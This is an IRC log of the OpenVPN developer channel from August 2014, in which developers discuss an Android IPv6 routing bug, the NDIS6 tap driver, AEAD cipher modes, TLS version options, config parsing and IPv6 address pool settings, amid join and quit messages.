09:05 <@mattock> well, the guys will wake up and get on this in 1-2 hours 09:05 <@mattock> what a nice way to start the day 09:05 <+debbie10t> i was reading a little article called "Help Vampires" the other day .. I think we get a few of those from time to time 09:05 <@mattock> hmm, I'll have to check that out 09:05 <+debbie10t> i have a funny link if you have time 09:06 <@mattock> http://meta.stackexchange.com/questions/19665/the-help-vampire-problem ? 09:06 <@vpnHelper> Title: The Help Vampire problem - Meta Stack Exchange (at meta.stackexchange.com) 09:06 <@mattock> there's another, more generic name for those people: "a timesink" 09:07 <+debbie10t> this is funny - https://bbs.archlinux.org/viewtopic.php?id=179635 09:07 <@mattock> no matter how much time you pour into them they keep on consuming it 09:07 <@vpnHelper> Title: How not to post... (Page 1) / Newbie Corner / Arch Linux Forums (at bbs.archlinux.org) 09:07 <+debbie10t> when the mod finally snaps ! 09:14 <@mattock> hahaha 09:14 <+debbie10t> =] 09:14 <@mattock> this guy was not as bad as some timesinks / help vampires 09:14 <+debbie10t> might link to that some time :) 09:15 <+debbie10t> yeah but it is funny :) 09:16 <@mattock> if one really wants to consume people's time it's important to not go overboard right at once like this guy did with his stupid question 09:16 <@mattock> it's like blackmailing - you don't want to suck your "customers" dry all at once :P 09:17 <+debbie10t> hehehe 09:22 <+debbie10t> website is back up :) 09:26 <@mattock> hmm 09:26 <@mattock> maybe rebooting the node took so long 09:37 -!- mattock is now known as mattock_afk 10:55 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 11:44 -!- mattock_afk is now known as mattock 12:50 -!- mattock is now known as mattock_afk 13:59 -!- dazo is now known as dazo_afk 14:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:21 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 17:47 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has joined #openvpn-devel 17:47 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 17:51 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 18:00 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 18:05 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 20:41 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:42 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] --- Day changed Wed Aug 13 2014 01:15 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:43 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 02:13 -!- mattock_afk is now known as mattock 02:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:14 -!- mattock is now known as mattock_afk 06:01 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 06:25 <@cron2> plaisthos: so explicit IPv6 routes on Android are borked since ever, but we didn't know since the VPN API was borked as well? 06:27 < plaisthos> cron2: well not exactly 06:27 <@cron2> or was it just the displaying of the routes? 06:27 < plaisthos> When I introduced the feature to calculate a set of only positive routes for a set of positive (over tun) and negative routes (over net_gateway), I broke IPv6 Routes 06:28 <@cron2> ah 06:28 < plaisthos> if the routes translate to negative bytes :D 06:28 < plaisthos> so ::/0 was fine 06:28 < plaisthos> a byte has the values of -128 to 127, obviously 06:30 < plaisthos> since Java's all integer are signed also applies to byte values 06:38 < plaisthos> but the fact that default route still worked and on my own (4.4) devices IPv6 was broken anyway and otherwise not many people use IPv6 it has gone unnoticed quite long 06:39 -!- dazo_afk is now known as dazo 06:42 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:42 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 06:42 <+debbie10t> hi - is there any news on the new NDIS6 tap driver ? - Should there be any announcement on the forum ? 09:00 -!- prelude2004c [~Admin@dsl-67-55-28-3.acanac.net] has joined #openvpn-devel 09:00 < prelude2004c> hi everyone. I have a quick question. I am running openvpn client config ( eg. openvpn --config client.ovpn ). On connect it adds the tap0 rules and everything works. The issue i am having at the moment is that when the server side goes down, the rules remain. Is there something i can add to automatically clear the tap0 rules upon disconnect on the server side? 09:01 <+debbie10t> prelude2004c, please goto #openvpn, this channel is for developer chat 09:01 < prelude2004c> k thank you. I just thought someone had a very quick reply 09:01 < prelude2004c> will do 11:01 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 13:31 -!- dazo is now known as dazo_afk 13:41 -!- Netsplit *.net <-> *.split quits: _bt 15:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:08 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 16:09 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 16:12 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 22:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 22:52 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 22:52 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 22:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 22:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 250 seconds] 22:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+o raidz] by ChanServ 22:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 22:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 22:53 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:57 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 22:57 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 22:57 -!- dazo_afk is now known as dazo --- Day changed Thu Aug 14 2014 00:11 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:11 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 00:11 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 02:01 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 02:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:53 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 06:38 -!- pekster_ is now known as pekster 06:39 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:40 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 06:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 08:46 <@mattock> debbie10t: the tap-windows6 adapter is not really news anymore... it was announced when it was first released 08:46 <@mattock> we've been slowly moving it to a place where it's on par with the NDIS 5 driver 08:47 <@mattock> there are three issues so far, and the guy who wrote the driver will look into those 09:29 -!- TheHandyTek [~TheHandyT@174.47.150.125] has joined #openvpn-devel 09:30 -!- TheHandyTek [~TheHandyT@174.47.150.125] has left #openvpn-devel ["Leaving"] 09:38 -!- mattock is now known as mattock_afk 09:51 -!- dgollub [~dgollub@p20030045EE0AA401F17E47E8D89FB9CF.dip0.t-ipconnect.de] has joined #openvpn-devel 09:52 -!- mattock_afk is now known as mattock 10:38 -!- mattock is now known as mattock_afk 11:28 -!- mattock_afk is now known as mattock 13:14 -!- mattock is now known as mattock_afk 13:42 -!- dazo is now known as dazo_afk 15:21 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:16 -!- dgollub [~dgollub@p20030045EE0AA401F17E47E8D89FB9CF.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 20:10 -!- debbie10t [~Dik@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 22:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] --- Day changed Fri Aug 15 2014 01:39 -!- mattock_afk is now known as mattock 02:08 -!- dazo_afk is now known as dazo 03:40 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:52 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 03:52 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Log closed Fri Aug 15 05:09:13 2014 --- Log opened Fri Aug 15 06:53:21 2014 06:53 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 06:53 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 2 voices, 10 normal] 06:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:53 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 06:57 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 06:57 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 07:26 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Read error: Connection reset by peer] 07:28 -!- prelude2004c [~Admin@dsl-67-55-28-3.acanac.net] has quit [Quit: Leaving] 08:06 -!- mattock_afk is now known as mattock 08:08 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:08 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:09 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 08:09 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 08:11 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 08:11 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 08:20 -!- Netsplit *.net <-> *.split quits: ender|, @pekster 08:29 -!- mattock is now known as mattock_afk 08:31 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 10:46 -!- mattock_afk is now known as mattock 10:48 -!- mattock is now known as mattock_afk 11:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:36 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 12:03 -!- dazo is now known as dazo_afk 12:25 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 12:25 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 12:32 -!- pekster_ is now known as pekster 15:29 -!- mattock_afk is now known as mattock 15:58 -!- mattock is now known as mattock_afk 17:13 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 18:15 -!- raidz is now known as raidz_away 20:22 -!- raidz_away is now known as raidz 21:44 -!- Netsplit *.net <-> *.split quits: @dazo_afk, @raidz, @mattock_afk 21:45 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Write error: Connection reset by peer] 21:45 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:13 -!- Netsplit over, joins: @dazo_afk, @mattock_afk, @raidz 22:13 -!- raidz is now known as raidz_away 22:14 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 22:15 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 23:01 -!- raidz_away is now known as raidz --- Day changed Sat Aug 16 2014 00:25 -!- mattock_afk is now known as mattock 01:11 -!- mattock is now known as mattock_afk 03:00 -!- raidz is now known as raidz_away 03:36 -!- DachesBella [~dachesbel@fsf/member/dachesbella] has joined #openvpn-devel 03:40 -!- mattock_afk is now known as mattock 04:09 -!- mattock is now known as mattock_afk 04:23 -!- DachesBella [~dachesbel@fsf/member/dachesbella] has quit [Remote host closed the connection] 05:20 -!- mattock_afk is now known as mattock 06:22 -!- mattock is now known as mattock_afk 11:51 -!- raidz_away is now known as raidz 14:25 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 272 seconds] 14:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:49 -!- dazo_afk is now known as dazo 14:50 -!- Netsplit *.net <-> *.split quits: @mattock_afk, @raidz 14:52 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Write error: Broken pipe] 14:52 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:52 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:52 -!- ServerMode/#openvpn-devel [+oo mattock_afk raidz] by dickson.freenode.net 14:58 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 15:07 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:07 -!- dazo_afk is now known as dazo 15:12 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 272 seconds] 15:15 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:15 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:16 -!- dazo_afk is now known as dazo 15:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:50 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 15:51 -!- dazo_afk is now known as dazo 17:34 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 17:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:38 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:38 -!- dazo_afk is now known as dazo 18:05 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Sun Aug 17 2014 03:13 -!- raidz is now known as raidz_away 12:09 -!- raidz_away is now known as raidz 14:29 <@syzzer> Hah, finally, I think I got AEAD cipher modes (GCM/CCM) working the way I'd like to :-) 14:30 <@syzzer> still have some cleaning up to do, but if someone would like to toy around with it take a look at this branch on github: https://github.com/syzzer/openvpn/tree/aead-cipher-modes5 14:30 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes5 · GitHub (at github.com) 15:16 <@cron2> cool :) (no time to toy around right now, though) 16:26 <@plaisthos> syzzer: cool 16:57 -!- raidz is now known as raidz_away 17:36 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 17:37 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 17:43 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 260 seconds] 17:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:58 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:58 -!- dazo_afk is now known as dazo 18:50 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Leaving] 19:13 -!- raidz_away is now known as raidz 20:32 -!- raidz is now known as raidz_away 22:37 -!- raidz_away is now known as raidz 22:39 -!- raidz is now known as raidz_away 23:13 -!- raidz_away is now known as raidz --- Day changed Mon Aug 18 2014 02:34 <@vpnHelper> RSS Update - tickets: #433: TAP from 2.3.4 not working + weird config parse errors as cause <https://community.openvpn.net/openvpn/ticket/433> 02:38 -!- raidz is now known as raidz_away 02:43 -!- mattock_afk is now known as mattock 02:46 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 03:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:03 -!- raidz_away is now known as raidz 04:21 -!- raidz is now known as raidz_away 04:28 -!- mattock is now known as mattock_afk 04:38 -!- mattock_afk is now known as mattock 05:49 <@cron2> would it make sense to teach our config file parser to accept any sort of line ending (CR, NL, CR+NL)? 05:49 <@cron2> trac#433... 06:37 <@syzzer> cron2: that sounds like a nice usability feature :) 07:06 * cron2 looks at plaisthos "you understand that code" 07:43 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 09:07 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 09:11 -!- Netsplit *.net <-> *.split quits: dgollub, siruf 09:12 -!- siruf_ is now known as siruf 09:24 <@syzzer> to move forward a bit regarding TLS version negotiation - any objections against adding a --tls-max-version option? (I know, adding options sucks, but I don't see another way to get the version negotiation adopted quickly). 09:31 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 09:33 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 10:04 <@plaisthos> cron2: yeah we can do that 10:29 -!- mattock is now known as mattock_afk 10:42 -!- mattock_afk is now known as mattock 11:15 -!- raidz_away is now known as raidz 14:32 -!- dazo is now known as dazo_afk 14:58 -!- Netsplit *.net <-> *.split quits: @dazo_afk 15:00 -!- Netsplit over, joins: dazo_afk 15:00 -!- dazo_afk is now known as dazo 15:00 -!- mode/#openvpn-devel [+o dazo] by ChanServ 15:11 -!- mattock is now known as mattock_afk 15:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 17:11 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 17:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 17:11 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 23:00 -!- PreludeZzzzz [~PreludeZz@dsl-67-55-28-3.acanac.net] has joined #openvpn-devel --- Day changed Tue Aug 19 2014 02:14 -!- PreludeZzzzz [~PreludeZz@dsl-67-55-28-3.acanac.net] has quit [Ping timeout: 250 seconds] 03:04 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:43 <@vpnHelper> RSS Update - tickets: #434: Config file parser can't handle CR linefeeds <https://community.openvpn.net/openvpn/ticket/434> 04:16 -!- mlpokn [~User@109.98.230.221] has joined #openvpn-devel 04:16 < mlpokn> Hi 04:17 < mlpokn> Where can I grab the latest OPENVPN GUI source code? 04:17 < mlpokn> http://sourceforge.net/projects/openvpn-gui/files/ <---- I've tried v5 from there, but the it's still using the old icons 04:17 <@vpnHelper> Title: OpenVPN GUI - Browse Files at SourceForge.net (at sourceforge.net) 04:17 < mlpokn> is there a newer tar? 04:27 -!- mlpokn [~User@109.98.230.221] has quit [Quit: Leaving] 04:58 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 06:09 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 08:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 240 seconds] 10:47 -!- dazo_ [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 10:47 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Disconnected by services] 10:47 -!- dazo_ is now known as dazo 11:47 -!- dazo is now known as dazo_afk 12:58 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 13:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 13:52 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 13:57 -!- mattock is now known as mattock_afk 16:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:59 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 17:13 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 17:17 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:17 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:17 -!- dazo_afk is now known as dazo 22:11 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 22:11 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:12 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 240 seconds] --- Day changed Wed Aug 20 2014 01:49 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 02:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:14 -!- mattock_afk is now known as mattock 08:48 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 09:00 <@plaisthos> mattock: on the trac I am always geting a AssertionError: Session ID not set 09:00 <@plaisthos> e.g. on https://community.openvpn.net/openvpn/ticket/316 09:00 <@vpnHelper> Title: #316 (Windows 8 issue: TUN/TAP adapter does not start) – OpenVPN Community (at community.openvpn.net) 09:01 <@mattock> plaisthos: maybe you should delete the cookies? 09:05 <@plaisthos> mattock: so no generic problem 09:05 <@mattock> I doubt it 09:06 <@mattock> haven't heard of problems like this from others 09:12 <@plaisthos> mattock: thanks 09:13 <@mattock> let me know if the problem persists after closing the browser and clearing the cookies 09:13 <@mattock> it should not, but you never know 10:33 -!- dazo is now known as dazo_afk 11:43 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 11:58 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:46 -!- mattock is now known as mattock_afk 16:01 * syzzer just keeps spamming you guys with patches ;) 16:02 <@syzzer> pretty simple ones this time, got bored and annoyed enough by compiler warnings... 16:28 <@cron2> yeah, I'll have to set aside a few hours of commit-syzzer-patches these days :) 22:18 -!- keruton [~keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel --- Day changed Thu Aug 21 2014 00:27 -!- dazo_afk is now known as dazo 01:03 -!- mattock_afk is now known as mattock 02:36 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:52 -!- keruton [~keruton@cpe-104-34-71-124.socal.res.rr.com] has quit [Remote host closed the connection] 04:32 -!- dazo is now known as dazo_afk 11:08 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 11:09 <+debbie10t> I was researching comp-lzo and read ticket #128 : https://community.openvpn.net/openvpn/ticket/128 11:09 <@vpnHelper> Title: #128 (Connection errors) – OpenVPN Community (at community.openvpn.net) 11:09 <+debbie10t> I have also discovered that 11:09 <+debbie10t> if you use in the CCD 11:10 <+debbie10t> comp-lzo no (Not pushed - for the server) 11:10 <+debbie10t> push "comp-lzo yes" 11:11 <+debbie10t> the connection works fine 11:11 <+debbie10t> I have full configs and logs available 11:11 <+debbie10t> I was wondering if this would be added to ticket 128 or a new one 11:18 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has joined #openvpn-devel 11:34 <@pekster> Yes, that's by design. A ccd (or --client-connect) can over-ride the default, and internally the pushed setting is used wrt. that client context 11:35 <@pekster> mi->context.c2.<whatever_the_struct_stores_it_as> 11:37 <+debbie10t> pekster: "and internally the pushed setting is used" on both client and server from one push ? 11:37 <@pekster> Yup 11:37 <+debbie10t> fair doos 11:37 <+debbie10t> thanks 11:38 <+debbie10t> the manual is getting a bit ragged ... 11:41 <@cron2> "comp-lzo no" is actually one of the most weird settings, because it does something different than having "no comp-lzo in the config at all" 11:42 <@cron2> with comp-lzo no this side won't compress, but will *understand* lzo-compressed packets... 11:42 <@cron2> but anyway, in 2.4, this stuff is now "compress lzo | snappy | lz4" :-) 11:43 <+debbie10t> wow .. sounds like a fairly major change ! .... any sort of release date on that ? 11:43 <@pekster> cron2: FYI, hold off on evaluating my v6 stuff. As I pull threads here more, some of this is inter-related. What I'll do is come up with a small patch series, and get the manpage up to date at the same time. No point in reviwing things that need more tweaks in a later patch :\ 11:45 <@pekster> I think we need to completely chuck the silly behavior of allowing a pool or --ifconfig-ipv6-push to push a _different_ subnet. Either that, or we need another option for --route-ipv6-gateway just to support stupidity like `--ifconfig 2001:db8::1/64 2001:db8::2 --ifconfig-pool 2001:db8:0:0:1::/80` -- and that's a dumb thing to do anyway 11:45 <@pekster> ie: putting the client on a smaller subnet than the server is told the VPN is. It's allowed today, but doesn't work for obvious reasons of the route target not on-link 11:45 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 11:46 <@cron2> pekster: agree. This is basically there because IPv4 does it that way (though I have no idea what happens if you do --ifconfig 10.0.0.0/24 --ifconfig-pool 192.168.1.0/24) 11:46 <@pekster> My plan is to correct it by disallowing that, adding IPv6 env-vars to scripts for stuff we _do_ still allow, and clean up the manpage as I go 11:46 <@cron2> we could allow it and make it work? ;-) 11:46 <@pekster> IIRC the v4 pools requires explicit start/end; I don't think it has CIDR, but I haven't looked 11:46 <@pekster> Um, no. If people want to be _that_ stupid they can do tap and misconfigure their own network 11:47 <@cron2> that's not the actual point - you can have a pool which is not in the "ifconfig" 11:47 <@pekster> Oh :) 11:47 <@pekster> Right. It would likely do silly things there too, but there exists a --route-gateway to deal with that 11:47 <@cron2> I never use these options directly, so I didn't run into those inconsistencies - I only use --server-ipv6 which is a macro filling all the rest with useful stuff 11:47 <@pekster> Yup 11:48 <@pekster> I've got some configs that expand that, and a project that would like the v6 vars (got a patched version workingn nicely there!) Just gotta get it "good enough" to be merged in, and that'll include manpage updates to the junk I change 11:48 <@pekster> So yea, don't waste your precious time reviewing what I'm re-doing anyway 11:48 <@cron2> yeah, the pool really shouldn't have a /nn spec for IPv6, just a size (which was the intention - /112 = size 256) 11:49 <@pekster> The size is meaningless now 11:49 <@pekster> If we _someday_ add error checking to verify that the selected IPv4 offset does not go paste the final boundry of the v6 pool IP+CIDR-mask, it would do something, but right now it just screws things up by putting the client on a possibly unroutable network 11:49 <@cron2> it should be used $somewhere as a maximum size, so even if the pool follows IPv4, it won't overrun the end (but return "no ipv6"). But maybe I just forced "pool must be bigger than IPv4!", can't remember 11:50 <@pekster> The v6 IP is not even linear for net30 11:50 <@pekster> Well, right. But that's actually a problem too for people using --ifconfig with a /124 (allowed) but the pool can't be smaller than /112 ;) 11:50 <@pekster> I'm probably not going to fix that, and just note in the manpage that the pool requires >=/112 11:50 <@pekster> Maybe a smart warning and/or fatal error if that's attempted 11:50 <@cron2> good plan 11:51 <@pekster> /112 is a nice balance; even in net30, that gives room for 16k clients. "should be plenty" :D 13:57 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Ping timeout: 244 seconds] 13:57 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 13:57 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 14:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 14:44 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Ping timeout: 244 seconds] 14:45 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 14:45 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 16:15 -!- mattock is now known as mattock_afk 16:22 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 19:06 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Leaving] --- Day changed Fri Aug 22 2014 01:26 -!- mattock_afk is now known as mattock 01:27 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:22 -!- mattock is now known as mattock_afk 02:31 -!- DachesBella [~dachesbel@fsf/member/dachesbella] has joined #openvpn-devel 02:46 -!- DachesBella [~dachesbel@fsf/member/dachesbella] has quit [] 03:18 -!- mattock_afk is now known as mattock 03:23 -!- keruton [keruton@cpe-104-34-71-124.socal.res.rr.com] has quit [Remote host closed the connection] 03:28 -!- mattock is now known as mattock_afk 03:36 -!- dazo_afk is now known as dazo 03:40 -!- mattock_afk is now known as mattock 04:49 -!- mattock is now known as mattock_afk 04:50 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 250 seconds] 05:20 -!- mattock_afk is now known as mattock 05:40 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 05:40 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 09:47 -!- plaisthos 